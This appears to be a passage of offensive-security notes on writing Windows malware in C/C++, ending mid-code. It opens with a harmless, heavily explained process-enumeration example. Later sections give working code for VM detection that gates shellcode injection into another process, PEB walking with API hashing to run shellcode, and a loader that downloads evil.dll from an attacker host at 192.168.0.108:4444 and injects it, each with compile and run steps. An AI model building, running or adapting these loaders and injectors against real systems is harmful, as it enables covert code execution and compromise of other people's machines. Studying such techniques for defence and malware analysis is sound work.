Find PID(Process ID) by Name


By Name

Code

//hack.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
 
// find process ID by process name
int findMyProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
	
	// snapshot of all processes in the system
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
	
	// initializing size: needed for using Process32First
	pe.dwSize = sizeof(PROCESSENTRY32);
	
	// info about first process encountered in a system snapshot
	hResult = Process32First(hSnapshot, &pe);
	
	// retrieve information about the processes
	// and exit if unsuccessful
	while (hResult) {
		// if we find the process: return process ID
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
	
	// closes an open handle (CreateToolhelp32Snapshot)
	CloseHandle(hSnapshot);
	return pid;
}
int main(int argc, char* argv[]) {
	int pid = 0; // process ID
	pid = findMyProc(argv[1]);
	if (pid) {
		printf("PID = %d\n", pid);
	}
	return 0;
}

Explanation


#include <windows.h>

windows.h is a Windows-specific header file that lets your program use the Windows API - which is a massive collection of functions Microsoft provides for doing stuff on Windows.

#include <stdio.h> 

<stdio.h> stands for Standard Input Output Header in C and C++.

It provides functions for basic input and output, like:

FunctionWhat It Does
printfPrint to console
scanfRead from user input
fopenOpen a file
freadRead data from a file
fwriteWrite data to a file
fcloseClose a file

#include <stdlib.h>

<stdlib.h> stands for Standard Library header in C/C++. It gives you access to general-purpose utility functions - especially for:

CategoryExample FunctionsPurpose
Memorymalloc, free, reallocDynamic memory allocation
Process controlexit, system, abortTerminate program or run commands
Conversionsatoi, atof, strtolConvert strings to numbers
Randomrand, srandGenerate random numbers

#include <string.h>

This is the standard C header for working with strings and memory.

It provides functions like:

FunctionWhat it does
strlenGets the length of a string
strcpyCopies one string to another
strcatAppends one string to another
strcmpCompares two strings
memcpyCopies blocks of memory
memsetFills memory with a constant value
<string.h> is your string toolbox in C. Since C strings are just arrays of characters (not full objects like in C++), this header gives you the functions to manipulate them.

#include <tlhelp32.h>

tlhelp32.h is a header file, which provides access to the Tool Help Library functions in Windows. These functions are primarily used for process and thread enumeration, among other system-level operations.

What is the Tool Help Library?

The Tool Help Library is a Windows API that allows you to get information about processes, threads, modules, and heaps on the system. This library is useful for interacting with processes and performing operations such as:

  • Enumerating processes
  • Enumerating threads
  • Getting information about modules (DLLs and EXEs) that are loaded into a process

The functions in the Tool Help Library are mainly used to gather information about running processes and system resources, which is why it’s commonly used in debugging and reverse engineering contexts.

Common Functions in tlhelp32.h

Some of the key functions provided by tlhelp32.h include:

  1. CreateToolhelp32Snapshot:
    • Captures a snapshot of the system’s processes, threads, modules, or heaps at a particular point in time.
      Example:
    HANDLE CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
    • dwFlags: Specifies what information should be captured, such as processes or threads.
    • th32ProcessID: The process ID for the snapshot; 0 for all processes.
  2. Process32First and Process32Next:
    • Used to iterate through the list of processes in the snapshot.
      Example:
    BOOL Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
    BOOL Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
    • Process32First starts the iteration of processes.
    • Process32Next continues the iteration to the next process.
    • PROCESSENTRY32 is a structure that holds information about a process.
  3. Thread32First and Thread32Next:
    • Used to enumerate threads in a snapshot.
      Example:
    BOOL Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
    BOOL Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
    • These functions help you get information about the threads running within a particular process.
  4. Module32First and Module32Next:
    • Used to enumerate the modules (DLLs or EXEs) loaded by a process.
      Example:
    BOOL Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
    BOOL Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme);

Example Usage of CreateToolhelp32Snapshot to Get Process List

Here’s a simple example that uses the Tool Help API to get a list of running processes on the system:

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
 
int main() {
    // Create a snapshot of all processes
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot\n");
        return 1;
    }
    
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    
    // Get the first process in the snapshot
    if (Process32First(hSnapshot, &pe32)) {
        do {
            // Print process name and PID
            printf("Process Name: %s | PID: %d\n", pe32.szExeFile, pe32.th32ProcessID);
        } while (Process32Next(hSnapshot, &pe32)); // Get the next process
    } else {
        printf("Failed to get first process\n");
    }
    
    // Close the snapshot handle
    CloseHandle(hSnapshot);
    return 0;
}
  1. Creating the Snapshot:
    • The CreateToolhelp32Snapshot function is called with the flag TH32CS_SNAPPROCESS to create a snapshot of all processes on the system. The second argument is 0, meaning we want information on all processes.
  2. Process Iteration:
    • We use Process32First to get the first process in the snapshot, and then use Process32Next to iterate over all the processes in the snapshot. Each process’ information is stored in the PROCESSENTRY32 structure.
  3. Printing Process Info:
    • For each process, we print the executable file name (szExeFile) and the process ID (th32ProcessID).
  4. Closing the Snapshot:
    • After the iteration is complete, we close the snapshot handle using CloseHandle.

int findMyProc(const char *procname)
  • This defines a new function called findMyProc.
  • It takes one input: a pointer to a constant character array (const char *procname) .Basically, a string (the name of the process you’re looking for, like "notepad.exe").
  • It returns an int, which will usually be the Process ID (PID) if it finds it, or maybe -1 if it fails.
PartMeaning
intThe function will return an integer (usually the PID you find).
findMyProcThe name of the function you are creating.
const char *procnameInput: a pointer to a string (the process name you’re searching for). const means you promise not to modify the string inside the function.

HANDLE hSnapshot;
  • HANDLE is a special type in Windows programming - basically, it means “a reference to something” (kind of like a pointer, but for Windows objects).
  • hSnapshot is just the variable name - “h” for handle, “Snapshot” because this will hold a snapshot of the system’s processes.

PROCESSENTRY32 pe;

What is PROCESSENTRY32?

  • PROCESSENTRY32 is a structure (a “struct”) provided by Windows.
  • It stores information about a running process on the computer.

Think of it like a box that holds multiple pieces of information about a process, such as:

Inside PROCESSENTRY32Meaning
th32ProcessIDThe ID number of the process.
szExeFileThe name of the executable (example: chrome.exe).
cntThreadsHow many threads the process has.
Many more fields.

Windows needs this box to give you information about processes.

What does PROCESSENTRY32 pe; do?

This creates a variable named pe of type PROCESSENTRY32.
In simple words:
“Make a box (pe) big enough to hold all the process information.”


int pid = 0;
BOOL hResult;
  1. int pid = 0;
    • pid stands for Process ID. It’s an integer variable that will store the ID of a process (the unique identifier that the operating system uses to track a running process).
  2. BOOL hResult;
    • BOOL is a Boolean data type used in Windows programming. It can be either TRUE (non-zero) or FALSE (zero).
    • hResult is a variable used to store the result of a function call, typically whether the operation was successful or not.

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  • CreateToolhelp32Snapshot:
    • This function creates a snapshot of the system’s current state, focusing on processes, heaps, modules, and threads. The snapshot can then be used to retrieve detailed information about processes or threads.
      Example:
    HANDLE CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
    • dwFlags: Specifies what information should be captured, such as processes or threads.
    • th32ProcessID: The process ID for the snapshot; 0 for all processes.

Parameters:

  1. TH32CS_SNAPPROCESS:
    • This constant tells the function to capture processes in the snapshot.
    • TH32CS_SNAPPROCESS means the snapshot will include all active processes in the system, and you can enumerate through them.
  2. 0:
    • This parameter is the process ID. Setting it to 0 means the snapshot will contain all processes, not a specific one. If you wanted to capture information about a specific process, you would pass its process ID here instead of 0.

if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

checks whether the CreateToolhelp32Snapshot function succeeded in creating a snapshot of the system’s processes.

  • INVALID_HANDLE_VALUE:
    • This is a constant defined in the Windows API, which represents an invalid handle. It is used to indicate that a function that returns a handle (like CreateToolhelp32Snapshot) failed to successfully obtain the handle.
    • In this case, INVALID_HANDLE_VALUE is used to check if the snapshot creation failed. If the snapshot could not be created, the return value of CreateToolhelp32Snapshot will be INVALID_HANDLE_VALUE.
  • hSnapshot:
    • This variable stores the handle returned by CreateToolhelp32Snapshot. If the function failed to create a snapshot, hSnapshot will be set to INVALID_HANDLE_VALUE.
  • if (INVALID_HANDLE_VALUE == hSnapshot):
    • This condition checks if the value of hSnapshot is equal to INVALID_HANDLE_VALUE, indicating that the snapshot creation failed.
  • return 0;:
    • If the condition is true (meaning the snapshot creation failed), the function will return 0, signaling an error and exiting early from the function. This is typically done to prevent the program from attempting to process an invalid snapshot.

pe.dwSize = sizeof(PROCESSENTRY32);

Before you use pe, you must tell Windows the size of the box.
Because:

  • Different versions of Windows might have slightly different structure sizes.
  • If you don’t tell Windows the correct size, it can crash.
    So in simple words:

“Hey Windows, I prepared a box called pe, and it is this big (sizeof(PROCESSENTRY32)).”


hReasult = Process32First(hSnapshot, &pe);
  • You have a “snapshot” (a photo) of all processes (created by CreateToolhelp32Snapshot).
  • Now you want to get the first process from that snapshot.
PartMeaning
Process32FirstA Windows API function that gets the first process from a snapshot.
hSnapshotThe snapshot handle (photo) you created earlier with CreateToolhelp32Snapshot.
&peA pointer to your PROCESSENTRY32 structure, where the function will fill in the first process information.

while (hResult){
	if (strcmp(procname, pe.szExeFile) == 0) {
		pid = pe.th32ProcessID;
		break;
	}
	hResult = Process32Next(hSnapshot, &pe);
}
LineMeaning
while (hResult)While there is still a valid process (hResult is TRUE), keep looping.
if (strcmp(procname, pe.szExeFile) == 0)Compare the target process name (procname) with the current process name (pe.szExeFile). If they match (strcmp returns 0), we found our process!
pid = pe.th32ProcessID;Save the Process ID (PID) of the matching process.
break;Exit the loop — we found what we were searching for!
hResult = Process32Next(hSnapshot, &pe);Otherwise, move to the next process in the snapshot (and update pe with next process info).

CloseHandle(hSnapshot);
  • It closes the handle you created earlier with CreateToolhelp32Snapshot.
  • This frees system resources (memory and handle slots) that were being used by hSnapshot.

When you open a “handle” (like a file, process, thread, snapshot, etc.) in Windows,
you must manually close it when you’re done.

If you don’t call CloseHandle(), you can cause:

  • Memory leaks (unused memory is stuck)
  • Handle leaks (Windows has a limited number of handles per process)
  • System performance problems over time

Compile

i686-w64-mingw32-g++ hack.cpp -o hack.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

Run

Transfer hack.exe to your Windows Machine.

Launch mspaint.exe or any desired exe and run this command in CMD.

.\hack.exe mspaint.exe

via NtGetNextProcess


Code

#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <psapi.h>
#include <shlwapi.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")
typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
	_In_ HANDLE ProcessHandle,
	_In_ ACCESS_MASK DesiredAccess,
	_In_ ULONG HandleAttributes,
	_In_ ULONG Flags,
	_Out_ PHANDLE NewProcessHandle
);
int findMyProc(const char * procname) {
	int pid = 0;
	HANDLE current = NULL;
	char procName[MAX_PATH];
 
	// resolve function address
	fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
 
	// loop through all processes
	while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
		GetProcessImageFileNameA(current, procName, MAX_PATH);
		if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
			pid = GetProcessId(current);
			break;
		}
	}
	return pid;
}
int main(int argc, char* argv[]) {
	int pid = 0; // process ID
	pid = findMyProc(argv[1]);
	printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
	return 0;
}

Compile

x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe \
-I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive -lpsapi -lshlwapi

Run

via WTSEnumerateProcesses


The WTSEnumerateProcessesA function is a Windows API function that retrieves information about the active processes on a specified terminal server.

Code

//hack.c
#include <windows.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "wtsapi32.lib")
int findMyProc(const char * procname) {
	int pid = 0;
	WTS_PROCESS_INFOA * pi;
	DWORD level = 1; // we want WTSEnumerateProcesses to return WTS_PROCESS_INFO_EX
	DWORD count = 0;
 
	if (!WTSEnumerateProcessesA(WTS_CURRENT_SERVER_HANDLE, 0, level, &pi, &count))
		return 0;
 
	for (int i = 0 ; i < count ; i++ ) {
		if (lstrcmpiA(procname, pi[i].pProcessName) == 0) {
			pid = pi[i].ProcessId;
			break;
		}
	}
	WTSFreeMemory(pi);
	return pid;
}
int main(int argc, char* argv[]) {
	int pid = findMyProc(argv[1]);
	if (pid > 0) {
		printf("pid = %d\n", pid);
	}
	return 0;
}
 

Compile

x86_64-w64-mingw32-g++ -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ \
-s -ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive -lwtsapi32

Run

VM Detection or Evasion via FindWindow


Code

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
unsigned char my_payload[] =
	// 64-bit meow-meow messagebox
	"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
	"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
	"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
	"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
	"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
	"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
	"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
	"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
	"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
	"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
	"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
	"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
	"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
	"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
	"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
	"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
	"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
	"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
	"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
	HANDLE ph;
	HANDLE rt;
	DWORD pid;
	// find a window with certain class name
	HWND hcl = FindWindow(NULL, (LPCSTR) "VBoxTrayToolWndClass");
	HWND hw = FindWindow(NULL, (LPCSTR) "VBoxTrayToolWnd");
	if (hcl || hw) {
		pid = atoi(argv[1]);
		ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
		LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);
		rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
		CloseHandle(ph);
		return 0;
	} else {
		printf("virtualbox VM not found, aborting.\n");
		return -2;
	}
}

Compile

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

Run

Finding kernel32.dll base : asm style


Code

#include <windows.h>
#include <stdio.h>
 
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR Buffer;
} UNICODE_STRING;
struct LDR_MODULE {
	LIST_ENTRY e[3];
	HMODULE base;
	void* entry;
	UINT size;
	UNICODE_STRING dllPath;
	UNICODE_STRING dllname;
};
typedef HMODULE(WINAPI *fnGetModuleHandleA)(
	LPCSTR lpModuleName
);
typedef FARPROC(WINAPI *fnGetProcAddress)(
	HMODULE hModule,
	LPCSTR lpProcName
);
typedef PVOID(WINAPI *fnVirtualAlloc)(
	LPVOID lpAddress,
	SIZE_T dwSize,
	DWORD flAllocationType,
	DWORD flProtect
);
typedef PVOID(WINAPI *fnCreateThread)(
	LPSECURITY_ATTRIBUTES	lpThreadAttributes,
	SIZE_T			dwStackSize,
	LPTHREAD_START_ROUTINE 	lpStartAddress,
	LPVOID			lpParameter,
	DWORD			dwCreationFlags,
	LPDWORD			lpThreadId
);
typedef PVOID(WINAPI *fnWaitForSingleObject)(
	HANDLE hHandle,
	DWORD dwMilliseconds
);
 
DWORD calcMyHash(char* data) {
	DWORD hash = 0x35;
	for (int i = 0; i < strlen(data); i++) {
		hash += data[i] + (hash << 1);
	}
	return hash;
}
 
static DWORD calcMyHashBase(LDR_MODULE* mdll) {
	char name[64];
	size_t i = 0;
	while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {
		name[i] = (char)mdll->dllname.Buffer[i];
		i++;
	}
	name[i] = 0;
	return calcMyHash((char *)CharLowerA(name));
}
 
static HMODULE getKernel32(DWORD myHash) {
	HMODULE kernel32;
	//Load the address of the PEB for the current process and store it in the variable peb.
	INT_PTR peb = __readgsqword(0x60);
	auto modList = 0x18;
	auto modListFlink = 0x18;
	auto kernelBaseAddr = 0x10;
	auto mdllist = *(INT_PTR*)(peb + modList);
	auto mlink = *(INT_PTR*)(mdllist + modListFlink);
	auto krnbase = *(INT_PTR*)(mlink + kernelBaseAddr);
	auto mdl = (LDR_MODULE*)mlink;
	do {
		mdl = (LDR_MODULE*)mdl->e[0].Flink;
		if (mdl->base != nullptr) {
			if (calcMyHashBase(mdl) == myHash) { // kernel32.dll hash
				break;
			}
		}
	} while (mlink != (INT_PTR)mdl);
	kernel32 = (HMODULE)mdl->base;
	return kernel32;
}
 
static LPVOID getAPIAddr(HMODULE h, DWORD myHash) {
	PIMAGE_DOS_HEADER img_dos_header = (PIMAGE_DOS_HEADER)h;
	PIMAGE_NT_HEADERS img_nt_header = (PIMAGE_NT_HEADERS)((LPBYTE)h + img_dos_header->e_lfanew);
	PIMAGE_EXPORT_DIRECTORY img_edt = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)h + img_nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	PDWORD fAddr = (PDWORD)((LPBYTE)h + img_edt->AddressOfFunctions);
	PDWORD fNames = (PDWORD)((LPBYTE)h + img_edt->AddressOfNames);
	PWORD fOrd = (PWORD)((LPBYTE)h + img_edt->AddressOfNameOrdinals);
	for (DWORD i = 0; i < img_edt->AddressOfFunctions; i++) {
		LPSTR pFuncName = (LPSTR)((LPBYTE)h + fNames[i]);
		if (calcMyHash(pFuncName) == myHash) {
			printf("successfully found! %s - %d\n", pFuncName, myHash);
			return (LPVOID)((LPBYTE)h + fAddr[fOrd[i]]);
		}
	}
	return nullptr;
}
 
unsigned char my_payload[] =
	"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
	"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
	"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
	"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
	"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
	"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
	"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
	"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
	"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
	"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
	"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
	"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
	"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
	"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
	"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
	"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
	"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
	"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
	"\x2e\x2e\x5e\x3d\x00";
	
int main() {
	HMODULE mod = getKernel32(56369259);	//56369259 = hash of "kernel32.dll"
	fnGetModuleHandleA myGetModuleHandleA = (fnGetModuleHandleA)getAPIAddr(mod, 4038080516);
	fnGetProcAddress myGetProcAddress = (fnGetProcAddress)getAPIAddr(mod, 448915681);
	HMODULE hk32 = myGetModuleHandleA("kernel32.dll");
	fnVirtualAlloc myVirtualAlloc = (fnVirtualAlloc)myGetProcAddress(hk32, "VirtualAlloc");
	fnCreateThread myCreateThread = (fnCreateThread)myGetProcAddress(hk32, "CreateThread");
	fnWaitForSingleObject myWaitForSingleObject = (fnWaitForSingleObject)myGetProcAddress( hk32, "WaitForSingleObject");
	PVOID lb = myVirtualAlloc(0, sizeof(my_payload), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(lb, my_payload, sizeof(my_payload));
	HANDLE th = myCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)lb, NULL, 0, NULL);
	myWaitForSingleObject(th, INFINITE);
}

Compile

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -Wint-to-pointer-cast -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

Run

Download and Inject

Dll code

//evil.dll
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
	switch (nReason) {
		case DLL_PROCESS_ATTACH:
			MessageBox( NULL, "Meow from evil.dll!", "=^..^=", MB_OK );
			break;
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
	}
	return TRUE;
}

C Code

//hack.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
// download evil.dll from url
char* getEvil() {
	HINTERNET hSession = InternetOpen((LPCSTR)"Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
	HINTERNET hHttpFile = InternetOpenUrl(hSession, (LPCSTR)"http://192.168.0.108:4444/evil.dll", 0, 0, 0, 0);
	DWORD dwFileSize = 1024;
	char* buffer = new char[dwFileSize + 1];
	DWORD dwBytesRead;
	DWORD dwBytesWritten;
	HANDLE hFile = CreateFile("C:\\evil.dll", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	do {
		buffer = new char[dwFileSize + 1];
		ZeroMemory(buffer, sizeof(buffer));
		InternetReadFile(hHttpFile, (LPVOID)buffer, dwFileSize, &dwBytesRead);
		WriteFile(hFile, &buffer[0], dwBytesRead, &dwBytesWritten, NULL);
		delete[] buffer;
		buffer = NULL;
	} while (dwBytesRead);
	CloseHandle(hFile);
	InternetCloseHandle(hHttpFile);
	InternetCloseHandle(hSession);
	return buffer;
}
 
// classic DLL injection logic
int main(int argc, char* argv[]) {
	HANDLE ph; // process handle
	HANDLE rt; // remote thread
	LPVOID rb; // remote buffer
	// handle to kernel32 and pass it to GetProcAddress
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
	char* evil = getEvil();
	// parse process ID
	if ( atoi(argv[1]) == 0) {
		printf("PID not found :( exiting...\n");
		return -1;
	}
	printf("PID: %i\n", atoi(argv[1]));
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	// allocate memory buffer for remote process
	rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	// "copy" evil DLL between processes
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
	// our process start new thread
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
	CloseHandle(ph);
	return 0;
}

Compile

# Compile Dll
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive
 
# Compile C++ Code
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-lwininet -I/usr/share/mingw-w64/include/ -s \
-ffunction-sections -fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants -static-libstdc++ \
-static-libgcc -fpermissive

Run

First Start a Python3 server on attacker’s machine.


Run Shellcode

via EnumDesktopsA

Code

//hack.cpp
#include <windows.h>
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
	"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
	"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
	"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
	"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
	"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
	"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
	"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
	"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
	"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
	"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
	"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
	"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
	"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
	"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
	"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
	"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
	"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
	"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
	"\x2e\x2e\x5e\x3d\x00";
int main(int argc, char* argv[]) {
